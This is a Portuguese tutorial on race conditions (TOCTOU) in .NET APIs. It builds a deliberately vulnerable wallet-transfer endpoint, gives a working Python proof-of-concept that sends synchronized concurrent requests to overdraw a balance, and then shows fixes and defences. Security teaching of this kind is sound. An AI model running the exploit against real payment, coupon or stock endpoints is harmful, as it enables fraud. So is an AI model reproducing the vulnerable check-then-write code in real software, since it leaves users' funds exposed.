Race Condition em APIs .NET: do conceito à exploração
O que é uma race condition?
Uma race condition acontece quando dois ou mais processos concorrentes acessam e manipulam um recurso compartilhado ao mesmo tempo, e o resultado final depende da ordem exata em que as operações são executadas. Em aplicações web, isso se manifesta quando múltiplas requisições HTTP chegam simultaneamente e o servidor processa cada uma em threads separadas sem garantir atomicidade nas operações críticas.
O padrão clássico é o TOCTOU (Time of Check to Time of Use): o sistema verifica uma condição, e entre essa verificação e a ação subsequente, outra thread altera o estado. O resultado é que a ação executa com base em uma premissa que já não é verdadeira.
Por que isso importa em APIs .NET?
O ASP.NET Core processa requisições de forma concorrente por padrão. Cada requisição é atendida por uma thread do thread pool, e se duas requisições manipulam o mesmo recurso no banco de dados sem controle de concorrência, o resultado é imprevisível.
Considere um cenário real: um endpoint de transferência bancária que verifica o saldo antes de debitar. Se duas requisições de transferência chegam no mesmo milissegundo, ambas leem o saldo original, ambas validam que há fundos suficientes, e ambas debitam. O usuário gastou o dobro do que tinha.
API vulnerável
Vamos construir uma API completa que demonstra o problema. O cenário é uma carteira digital com endpoint de transferência entre usuários.
// Models/Wallet.cs
public class Wallet
{
public int Id { get; set; }
public int UserId { get; set; }
public decimal Balance { get; set; }
}
public class TransferRequest
{
public int FromUserId { get; set; }
public int ToUserId { get; set; }
public decimal Amount { get; set; }
}
// Data/AppDbContext.cs
public class AppDbContext : DbContext
{
public DbSet<Wallet> Wallets { get; set; }
public AppDbContext(DbContextOptions<AppDbContext> options) : base(options) { }
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.Entity<Wallet>().HasData(
new Wallet { Id = 1, UserId = 1, Balance = 1000.00m },
new Wallet { Id = 2, UserId = 2, Balance = 500.00m }
);
}
}
// Controllers/TransferController.cs
[ApiController]
[Route("api/[controller]")]
public class TransferController : ControllerBase
{
private readonly AppDbContext _context;
public TransferController(AppDbContext context)
{
_context = context;
}
[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
// 1. Busca a carteira de origem
var fromWallet = await _context.Wallets
.FirstOrDefaultAsync(w => w.UserId == request.FromUserId);
if (fromWallet is null)
return NotFound("Carteira de origem não encontrada.");
// 2. Verifica saldo (TIME OF CHECK)
if (fromWallet.Balance < request.Amount)
return BadRequest("Saldo insuficiente.");
// 3. Busca a carteira de destino
var toWallet = await _context.Wallets
.FirstOrDefaultAsync(w => w.UserId == request.ToUserId);
if (toWallet is null)
return NotFound("Carteira de destino não encontrada.");
// 4. Executa a transferência (TIME OF USE)
fromWallet.Balance -= request.Amount;
toWallet.Balance += request.Amount;
await _context.SaveChangesAsync();
return Ok(new
{
message = "Transferência realizada.",
saldoOrigem = fromWallet.Balance,
saldoDestino = toWallet.Balance
});
}
[HttpGet("balance/{userId}")]
public async Task<ActionResult> GetBalance(int userId)
{
var wallet = await _context.Wallets
.FirstOrDefaultAsync(w => w.UserId == userId);
if (wallet is null)
return NotFound();
return Ok(new { userId = wallet.UserId, balance = wallet.Balance });
}
}
// Program.cs
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddControllers();
builder.Services.AddDbContext<AppDbContext>(options =>
options.UseSqlite("Data Source=wallets.db"));
var app = builder.Build();
using (var scope = app.Services.CreateScope())
{
var db = scope.ServiceProvider.GetRequiredService<AppDbContext>();
db.Database.EnsureCreated();
}
app.MapControllers();
app.Run();
Onde está a vulnerabilidade?
O problema está na janela temporal entre a verificação do saldo (passo 2) e a atualização efetiva (passo 4). Quando a thread lê o saldo no passo 2, ela obtém um snapshot daquele momento. Se outra thread está executando o mesmo fluxo simultaneamente, ela também lê o mesmo saldo original.
Visualmente:
Thread A: Lê saldo = 1000 → Verifica 1000 >= 900 ✓ → Debita → Saldo = 100
Thread B: Lê saldo = 1000 → Verifica 1000 >= 900 ✓ → Debita → Saldo = 100
Ambas as threads leram 1000 antes de qualquer uma debitar. O resultado final é que o usuário transferiu 1800 tendo apenas 1000 de saldo. O saldo final fica em -800 ou 100, dependendo de qual SaveChangesAsync executa por último (last write wins).
O Entity Framework Core, por padrão, não aplica locks pessimistas nas leituras. O FirstOrDefaultAsync emite um SELECT simples sem FOR UPDATE. Isso significa que não há nenhuma barreira impedindo leituras concorrentes do mesmo registro.
Fatores que amplificam a exploração
Alguns fatores tornam essa race condition mais fácil de explorar na prática:
Latência de rede artificial: se o endpoint faz chamadas externas (validação de fraude, notificações, logging) entre o check e o use, a janela de exploração aumenta.
Connection pooling do EF Core: cada requisição pode obter uma conexão diferente do pool, o que significa transações completamente isoladas uma da outra.
Kestrel e thread pool: o ASP.NET Core é otimizado para alta concorrência. Requisições simultâneas são processadas em paralelo de verdade, não serializadas.
Ausência de índice UNIQUE em constraints de negócio: se não há constraint no banco impedindo saldo negativo, o banco aceita o UPDATE sem reclamar.
Proof of Concept em Python
O exploit envia múltiplas requisições de transferência simultaneamente, todas pelo valor máximo do saldo. Se a race condition existir, mais de uma será bem sucedida.
#!/usr/bin/env python3
"""
PoC: Race Condition em endpoint de transferência
Alvo: API .NET com TOCTOU em verificação de saldo
Autor: R0Z
Ambiente: Autorizado
Uso:
python3 race_transfer.py --target http://localhost:5000 --threads 20 --amount 900
"""
import argparse
import threading
import requests
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def get_balance(target: str, user_id: int) -> dict:
r = requests.get(f"{target}/api/transfer/balance/{user_id}", timeout=10)
return r.json() if r.status_code == 200 else None
def send_transfer(target: str, from_user: int, to_user: int, amount: float) -> dict:
payload = {
"fromUserId": from_user,
"toUserId": to_user,
"amount": amount
}
try:
r = requests.post(
f"{target}/api/transfer",
json=payload,
timeout=10
)
return {"status": r.status_code, "body": r.json() if r.status_code == 200 else r.text}
except Exception as e:
return {"status": 0, "body": str(e)}
def exploit(target: str, threads: int, amount: float, from_user: int, to_user: int):
print(f"[*] Alvo: {target}")
print(f"[*] Transferência: User {from_user} → User {to_user}, valor: {amount}")
print(f"[*] Threads simultâneas: {threads}")
# Verifica saldo antes
balance_before = get_balance(target, from_user)
if balance_before is None:
print("[-] Não foi possível obter saldo inicial.")
sys.exit(1)
print(f"[*] Saldo inicial (User {from_user}): {balance_before['balance']}")
# Barreira para sincronizar todas as threads
barrier = threading.Barrier(threads)
def attack():
barrier.wait() # Todas as threads disparam juntas
return send_transfer(target, from_user, to_user, amount)
# Dispara todas as requisições simultaneamente
print(f"[*] Disparando {threads} requisições simultâneas...")
results = []
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(attack) for _ in range(threads)]
for future in as_completed(futures):
results.append(future.result())
# Analisa resultados
success_count = sum(1 for r in results if r["status"] == 200)
fail_count = sum(1 for r in results if r["status"] != 200)
print(f"\n[*] Resultados:")
print(f" Sucesso: {success_count}")
print(f" Falha: {fail_count}")
# Verifica saldo depois
balance_after = get_balance(target, from_user)
if balance_after:
print(f"\n[*] Saldo final (User {from_user}): {balance_after['balance']}")
total_debitado = float(balance_before['balance']) - float(balance_after['balance'])
saldo_original = float(balance_before['balance'])
if total_debitado > saldo_original:
print(f"[+] RACE CONDITION CONFIRMADA!")
print(f"[+] Saldo original: {saldo_original}")
print(f"[+] Total debitado: {total_debitado}")
print(f"[+] Excesso: {total_debitado - saldo_original}")
elif success_count > 1:
print(f"[+] Múltiplas transferências aceitas ({success_count}x).")
print(f"[+] Total transferido: {success_count * amount} (saldo era {saldo_original})")
else:
print("[-] Race condition não explorada nesta tentativa. Tente aumentar --threads.")
def main():
parser = argparse.ArgumentParser(description="PoC Race Condition - Transfer endpoint")
parser.add_argument("--target", default="http://localhost:5000")
parser.add_argument("--threads", type=int, default=20)
parser.add_argument("--amount", type=float, default=900.0)
parser.add_argument("--from-user", type=int, default=1)
parser.add_argument("--to-user", type=int, default=2)
args = parser.parse_args()
exploit(args.target, args.threads, args.amount, args.from_user, args.to_user)
if __name__ == "__main__":
main()
Executando contra a API vulnerável:
$ python3 race_transfer.py --target http://localhost:5000 --threads 20 --amount 900
[*] Alvo: http://localhost:5000
[*] Transferência: User 1 → User 2, valor: 900.0
[*] Threads simultâneas: 20
[*] Saldo inicial (User 1): 1000.00
[*] Disparando 20 requisições simultâneas...
[*] Resultados:
Sucesso: 4
Falha: 16
[*] Saldo final (User 1): -2600.00
[+] RACE CONDITION CONFIRMADA!
[+] Saldo original: 1000.0
[+] Total debitado: 3600.0
[+] Excesso: 2600.0
O usuário tinha 1000 e conseguiu transferir 3600 (4 requisições de 900 passaram pela validação antes de qualquer débito ser persistido).
Como corrigir
Existem algumas abordagens para resolver o problema. Vou apresentar do mais simples ao mais robusto.
Opção 1: Pessimistic locking no banco
Usar SELECT ... FOR UPDATE via raw SQL para travar o registro durante a transação:
[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
await using var transaction = await _context.Database.BeginTransactionAsync(
System.Data.IsolationLevel.Serializable);
try
{
var fromWallet = await _context.Wallets
.FromSqlRaw("SELECT * FROM Wallets WHERE UserId = {0} FOR UPDATE", request.FromUserId)
.FirstOrDefaultAsync();
if (fromWallet is null)
return NotFound("Carteira de origem não encontrada.");
if (fromWallet.Balance < request.Amount)
return BadRequest("Saldo insuficiente.");
var toWallet = await _context.Wallets
.FromSqlRaw("SELECT * FROM Wallets WHERE UserId = {0} FOR UPDATE", request.ToUserId)
.FirstOrDefaultAsync();
if (toWallet is null)
return NotFound("Carteira de destino não encontrada.");
fromWallet.Balance -= request.Amount;
toWallet.Balance += request.Amount;
await _context.SaveChangesAsync();
await transaction.CommitAsync();
return Ok(new { message = "Transferência realizada.", saldoOrigem = fromWallet.Balance });
}
catch
{
await transaction.RollbackAsync();
return Conflict("Operação concorrente detectada. Tente novamente.");
}
}
O FOR UPDATE trava o registro no banco até o COMMIT. Qualquer outra transação que tente ler o mesmo registro fica bloqueada esperando. Isso serializa as operações no mesmo recurso.
Nota: SQLite não suporta FOR UPDATE. Essa abordagem funciona com PostgreSQL, MySQL e SQL Server (que usa WITH (UPDLOCK, ROWLOCK) ao invés de FOR UPDATE).
Opção 2: Optimistic concurrency com EF Core
Adicionar um campo de versão na entidade e deixar o EF Core detectar conflitos:
public class Wallet
{
public int Id { get; set; }
public int UserId { get; set; }
public decimal Balance { get; set; }
[Timestamp]
public byte[] RowVersion { get; set; }
}
[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
const int maxRetries = 3;
for (int attempt = 0; attempt < maxRetries; attempt++)
{
try
{
var fromWallet = await _context.Wallets
.FirstOrDefaultAsync(w => w.UserId == request.FromUserId);
if (fromWallet is null)
return NotFound("Carteira de origem não encontrada.");
if (fromWallet.Balance < request.Amount)
return BadRequest("Saldo insuficiente.");
var toWallet = await _context.Wallets
.FirstOrDefaultAsync(w => w.UserId == request.ToUserId);
if (toWallet is null)
return NotFound("Carteira de destino não encontrada.");
fromWallet.Balance -= request.Amount;
toWallet.Balance += request.Amount;
await _context.SaveChangesAsync();
return Ok(new { message = "Transferência realizada.", saldoOrigem = fromWallet.Balance });
}
catch (DbUpdateConcurrencyException)
{
// Outra thread modificou o registro. Recarrega e tenta novamente.
_context.ChangeTracker.Clear();
}
}
return Conflict("Não foi possível completar a operação. Tente novamente.");
}
Nessa abordagem, o EF Core inclui o RowVersion na cláusula WHERE do UPDATE. Se outra thread alterou o registro entre o SELECT e o UPDATE, o WHERE não encontra o registro (porque o RowVersion mudou) e o EF Core lança DbUpdateConcurrencyException.
Opção 3: UPDATE atômico no banco
A solução mais robusta para operações financeiras é nunca separar o check do use. Fazer tudo em uma única operação atômica:
[HttpPost]
public async Task<ActionResult> Transfer([FromBody] TransferRequest request)
{
await using var transaction = await _context.Database.BeginTransactionAsync();
try
{
// UPDATE atômico: debita apenas se saldo >= amount
var rowsAffected = await _context.Database.ExecuteSqlRawAsync(
"UPDATE Wallets SET Balance = Balance - {0} WHERE UserId = {1} AND Balance >= {0}",
request.Amount, request.FromUserId);
if (rowsAffected == 0)
return BadRequest("Saldo insuficiente ou carteira não encontrada.");
// Credita destino
var credited = await _context.Database.ExecuteSqlRawAsync(
"UPDATE Wallets SET Balance = Balance + {0} WHERE UserId = {1}",
request.Amount, request.ToUserId);
if (credited == 0)
{
await transaction.RollbackAsync();
return NotFound("Carteira de destino não encontrada.");
}
await transaction.CommitAsync();
var balance = await _context.Wallets
.Where(w => w.UserId == request.FromUserId)
.Select(w => w.Balance)
.FirstAsync();
return Ok(new { message = "Transferência realizada.", saldoOrigem = balance });
}
catch
{
await transaction.RollbackAsync();
return StatusCode(500, "Erro interno.");
}
}
Aqui o check e o use são a mesma operação SQL. O WHERE Balance >= {0} garante que o débito só acontece se o saldo for suficiente no momento exato da escrita. Não existe janela temporal entre verificação e ação.
Outros cenários exploráveis
Race conditions em .NET não se limitam a transferências financeiras. Alguns cenários comuns:
Resgate de cupom: endpoint verifica se o cupom já foi usado, depois marca como usado. Múltiplas requisições simultâneas conseguem resgatar o mesmo cupom várias vezes.
Limite de votos: sistema verifica se o usuário já votou, depois registra o voto. Disparando requisições em paralelo, é possível votar múltiplas vezes.
Criação de recurso único: endpoint verifica se username já existe, depois cria. Duas requisições simultâneas com o mesmo username passam pela verificação e ambas criam o registro (se não houver UNIQUE constraint no banco).
Estoque de e-commerce: verifica se há estoque disponível, depois decrementa. Múltiplas compras simultâneas do último item em estoque são todas aceitas.
Em todos esses casos, o padrão é o mesmo: leitura seguida de escrita sem atomicidade.
Considerações sobre detecção
Do ponto de vista de um atacante, race conditions são detectáveis observando:
- Endpoints que fazem operações de estado (POST, PUT, PATCH, DELETE) em recursos compartilhados.
- Ausência de headers como
X-Request-Idcom deduplicação (idempotency keys). - Respostas que indicam verificação de estado antes da ação (“saldo verificado”, “cupom válido”).
- Ausência de rate limiting granular por operação (não apenas por IP).
Do ponto de vista defensivo, além das correções de código, é importante implementar idempotency keys para operações financeiras, monitorar anomalias em padrões de requisição (burst de requests idênticas no mesmo milissegundo), e adicionar constraints no banco como última linha de defesa (CHECK constraint para saldo >= 0).
Referências
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization